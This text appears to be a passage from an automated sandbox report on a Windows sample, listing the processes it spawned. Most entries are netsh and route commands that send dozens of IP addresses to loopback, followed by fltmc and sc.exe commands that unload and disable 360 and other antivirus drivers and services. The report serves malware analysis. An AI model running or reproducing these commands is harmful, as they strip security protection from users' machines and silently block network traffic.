  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.177.128 255.255.255.255
  2⤵
  PID:2312
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.177.128
  2⤵
  PID:1368
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.177.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1688
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.182.204 255.255.255.255
  2⤵
  PID:4040
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.182.204
  2⤵
  PID:652
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.182.204 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1440
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.186.91 255.255.255.255
  2⤵
  PID:1016
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.186.91
  2⤵
  PID:4704
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.186.91 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:5008
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.202.159 255.255.255.255
  2⤵
  PID:4116
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.202.159
  2⤵
  PID:2312
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.202.159 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3452
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.212.166 255.255.255.255
  2⤵
  PID:4504
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.212.166
  2⤵
  PID:820
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.212.166 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4324
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4340
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.182 255.255.255.255
  2⤵
  PID:2792
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.214.182
  2⤵
  PID:2964
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.214.182 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1212
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.70 255.255.255.255
  2⤵
  PID:3036
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.214.70
  2⤵
  PID:3620
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.214.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2988
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.215.173 255.255.255.255
  2⤵
  PID:2488
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.215.173
  2⤵
  PID:4236
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.215.173 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3292
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.217.247 255.255.255.255
  2⤵
  PID:2020
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.217.247
  2⤵
  PID:4928
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.217.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2556
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.222.64 255.255.255.255
  2⤵
  PID:3364
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4728
- C:\Windows\system32\route.exe
  "route.exe" delete 172.67.222.64
  2⤵
  PID:4300
- C:\Windows\system32\route.exe
  "route.exe" add 172.67.222.64 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4860
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 175.24.163.232 255.255.255.255
  2⤵
  PID:4400
- C:\Windows\system32\route.exe
  "route.exe" delete 175.24.163.232
  2⤵
  PID:4448
- C:\Windows\system32\route.exe
  "route.exe" add 175.24.163.232 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1488
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 202.189.23.191 255.255.255.255
  2⤵
  PID:2060
- C:\Windows\system32\route.exe
  "route.exe" delete 202.189.23.191
  2⤵
  PID:4192
- C:\Windows\system32\route.exe
  "route.exe" add 202.189.23.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4324
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.33.12 255.255.255.255
  2⤵
  PID:3020
- C:\Windows\system32\route.exe
  "route.exe" delete 222.167.33.12
  2⤵
  PID:4760
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2740
- C:\Windows\system32\route.exe
  "route.exe" add 222.167.33.12 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2456
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.34.57 255.255.255.255
  2⤵
  PID:1016
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4864
- C:\Windows\system32\route.exe
  "route.exe" delete 222.167.34.57
  2⤵
  PID:2484
- C:\Windows\system32\route.exe
  "route.exe" add 222.167.34.57 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2020
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 27.124.41.85 255.255.255.255
  2⤵
  PID:3344
- C:\Windows\system32\route.exe
  "route.exe" delete 27.124.41.85
  2⤵
  PID:2456
- C:\Windows\system32\route.exe
  "route.exe" add 27.124.41.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1536
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.123 255.255.255.255
  2⤵
  PID:4320
- C:\Windows\system32\route.exe
  "route.exe" delete 36.51.224.123
  2⤵
  PID:3244
- C:\Windows\system32\route.exe
  "route.exe" add 36.51.224.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1056
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.126 255.255.255.255
  2⤵
  PID:4984
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2292
- C:\Windows\system32\route.exe
  "route.exe" delete 36.51.224.126
  2⤵
  PID:2788
- C:\Windows\system32\route.exe
  "route.exe" add 36.51.224.126 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4180
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.33.5.156 255.255.255.255
  2⤵
  PID:4544
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:908
- C:\Windows\system32\route.exe
  "route.exe" delete 38.33.5.156
  2⤵
  PID:4168
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:540
- C:\Windows\system32\route.exe
  "route.exe" add 38.33.5.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4888
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.76.195.127 255.255.255.255
  2⤵
  PID:2012
- C:\Windows\system32\route.exe
  "route.exe" delete 38.76.195.127
  2⤵
  PID:4984
- C:\Windows\system32\route.exe
  "route.exe" add 38.76.195.127 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3964
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.155 255.255.255.255
  2⤵
  PID:3808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1196
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.155
  2⤵
  PID:948
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.155 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2160
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.162 255.255.255.255
  2⤵
  PID:1488
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4704
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.162
  2⤵
  PID:1536
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.162 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:412
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.167 255.255.255.255
  2⤵
  PID:3648
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.167
  2⤵
  PID:4168
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.167 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2788
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.168 255.255.255.255
  2⤵
  PID:4880
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.168
  2⤵
  PID:3364
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.168 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4744
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.183 255.255.255.255
  2⤵
  PID:3604
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.183
  2⤵
  PID:4180
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.183 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4520
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.184 255.255.255.255
  2⤵
  PID:2960
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.184
  2⤵
  PID:2556
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.184 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4812
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.185 255.255.255.255
  2⤵
  PID:2132
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.185
  2⤵
  PID:176
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.185 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3308
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3536
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.214 255.255.255.255
  2⤵
  PID:1924
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.214
  2⤵
  PID:4760
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.214 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1688
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.219 255.255.255.255
  2⤵
  PID:3908
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.219
  2⤵
  PID:1488
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4748
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.219 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2916
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.229 255.255.255.255
  2⤵
  PID:3344
- C:\Windows\system32\route.exe
  "route.exe" delete 38.97.254.229
  2⤵
  PID:2796
- C:\Windows\system32\route.exe
  "route.exe" add 38.97.254.229 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2620
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.153.60.128 255.255.255.255
  2⤵
  PID:2060
- C:\Windows\system32\route.exe
  "route.exe" delete 43.153.60.128
  2⤵
  PID:4684
- C:\Windows\system32\route.exe
  "route.exe" add 43.153.60.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3784
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.230.72.70 255.255.255.255
  2⤵
  PID:4940
- C:\Windows\system32\route.exe
  "route.exe" delete 43.230.72.70
  2⤵
  PID:3792
- C:\Windows\system32\route.exe
  "route.exe" add 43.230.72.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4480
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.124.78.109 255.255.255.255
  2⤵
  PID:2796
- C:\Windows\system32\route.exe
  "route.exe" delete 45.124.78.109
  2⤵
  PID:3244
- C:\Windows\system32\route.exe
  "route.exe" add 45.124.78.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1924
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.207.209.119 255.255.255.255
  2⤵
  PID:2104
- C:\Windows\system32\route.exe
  "route.exe" delete 45.207.209.119
  2⤵
  PID:4480
- C:\Windows\system32\route.exe
  "route.exe" add 45.207.209.119 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2020
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 47.242.204.9 255.255.255.255
  2⤵
  PID:1440
- C:\Windows\system32\route.exe
  "route.exe" delete 47.242.204.9
  2⤵
  PID:4728
- C:\Windows\system32\route.exe
  "route.exe" add 47.242.204.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4944
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.74 255.255.255.255
  2⤵
  PID:956
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5032
- C:\Windows\system32\route.exe
  "route.exe" delete 49.7.37.74
  2⤵
  PID:1792
- C:\Windows\system32\route.exe
  "route.exe" add 49.7.37.74 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3364
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.75 255.255.255.255
  2⤵
  PID:3464
- C:\Windows\system32\route.exe
  "route.exe" delete 49.7.37.75
  2⤵
  PID:2704
- C:\Windows\system32\route.exe
  "route.exe" add 49.7.37.75 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1476
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 54.37.225.221 255.255.255.255
  2⤵
  PID:3792
- C:\Windows\system32\route.exe
  "route.exe" delete 54.37.225.221
  2⤵
  PID:3460
- C:\Windows\system32\route.exe
  "route.exe" add 54.37.225.221 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2972
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.130 255.255.255.255
  2⤵
  PID:1476
- C:\Windows\system32\route.exe
  "route.exe" delete 94.154.43.130
  2⤵
  PID:3460
- C:\Windows\system32\route.exe
  "route.exe" add 94.154.43.130 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3128
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:820
- C:\Windows\system32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.8 255.255.255.255
  2⤵
  PID:3956
- C:\Windows\system32\route.exe
  "route.exe" delete 94.154.43.8
  2⤵
  PID:4268
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4760
- C:\Windows\system32\route.exe
  "route.exe" add 94.154.43.8 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4176
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AntiSteal
  2⤵
  PID:4728
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Box64
  2⤵
  PID:4100
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360FsFlt
  2⤵
  PID:4368
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:928
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360qpesv
  2⤵
  PID:2200
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AvFlt
  2⤵
  PID:1072
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload DsArk
  2⤵
  PID:3128
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor
  2⤵
  PID:4944
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor64
  2⤵
  PID:2800
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
  2⤵
  PID:948
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2252
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
  2⤵
  - Launches sc.exe
  PID:4100
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Zhudongfangyu
  2⤵
  - Launches sc.exe
  PID:3620
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
  2⤵
  PID:4368

C:\Windows\system32\pacjsworker.exe
C:\Windows\system32\pacjsworker.exe f8610228-8d19-49d0-a2ef-7ac6928c97ef d7a33ec2-eb68-4dc8-84ed-62ed53805d19
1⤵
PID:4916

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 5023be99d5fba982b0e10f8dbaa27ff0 xMTt2fNVn0ek7X422Dc26w.0.1.0.0.0
1⤵
PID:1016
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:3372

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1580

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4904

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1056
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 456 -p 3092 -ip 3092
  2⤵
  PID:4168

C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
"C:\Program Files\YouthNetGuard\WpnPlatformHost.exe" --heal --quiet --base "C:\Program Files\YouthNetGuard" --um "C:\Program Files\YouthNetGuard"
1⤵
PID:4448
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AntiSteal
  2⤵
  PID:2988
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Box64
  2⤵
  PID:4180
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2556
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360FsFlt
  2⤵
  PID:992
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360qpesv
  2⤵
  PID:1792
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AvFlt
  2⤵
  PID:4692
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload DsArk
  2⤵
  PID:3648
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor
  2⤵
  PID:2788
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor64
  2⤵
  PID:3012
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
  2⤵
  PID:1072
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
  2⤵
  - Launches sc.exe
  PID:1212
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Zhudongfangyu
  2⤵
  PID:3620
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3328
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
  2⤵
  - Launches sc.exe
  PID:4900
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rp
  2⤵
  PID:1640
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rp start= disabled
  2⤵
  PID:1192
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Q360AMPPL
  2⤵
  - Launches sc.exe
  PID:4880
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
  2⤵
  - Launches sc.exe
  PID:3784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop dsmainsrv
  2⤵
  - Launches sc.exe
  PID:2868
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
  2⤵
  PID:928
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop DsArk
  2⤵
  - Launches sc.exe
  PID:2740
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config DsArk start= disabled
  2⤵
  - Launches sc.exe
  PID:4484
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360FsFlt
  2⤵
  PID:4960
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
  2⤵
  PID:1084
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AvFlt
  2⤵
  PID:4560
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
  2⤵
  PID:3604
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Box64
  2⤵
  - Launches sc.exe
  PID:948
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1536
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
  2⤵
  - Launches sc.exe
  PID:4036
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiSteal
  2⤵
  PID:2868
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2576
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
  2⤵
  PID:4736
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiAttack
  2⤵
  - Launches sc.exe
  PID:4040
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
  2⤵
  - Launches sc.exe
  PID:4472
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHacker
  2⤵
  PID:3172
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
  2⤵
  PID:332
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2960
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHijack
  2⤵
  - Launches sc.exe
  PID:4880
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
  2⤵
  - Launches sc.exe
  PID:2628
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiExploit
  2⤵
  - Launches sc.exe
  PID:3244
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
  2⤵
  - Launches sc.exe
  PID:4036
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2620
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SelfProtection
  2⤵
  PID:2988
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2868
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
  2⤵
  PID:736
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4900
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360qpesv
  2⤵
  PID:4776
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
  2⤵
  - Launches sc.exe
  PID:3020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2484
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor
  2⤵
  PID:1072
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
  2⤵
  - Launches sc.exe
  PID:2740
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360netmon
  2⤵
  PID:1856
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360netmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4948
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Hvm
  2⤵
  - Launches sc.exe
  PID:4928
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
  2⤵
  PID:992
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5028
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360elam64
  2⤵
  PID:4388
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2312
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
  2⤵
  PID:3364
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360CactusNet
  2⤵
  PID:2740
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3548
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
  2⤵
  - Launches sc.exe
  PID:412
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Camera
  2⤵
  PID:4392
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Camera start= disabled
  2⤵
  PID:4860

C:\Program Files\YouthNetGuard\WpnPlatformHost.exe
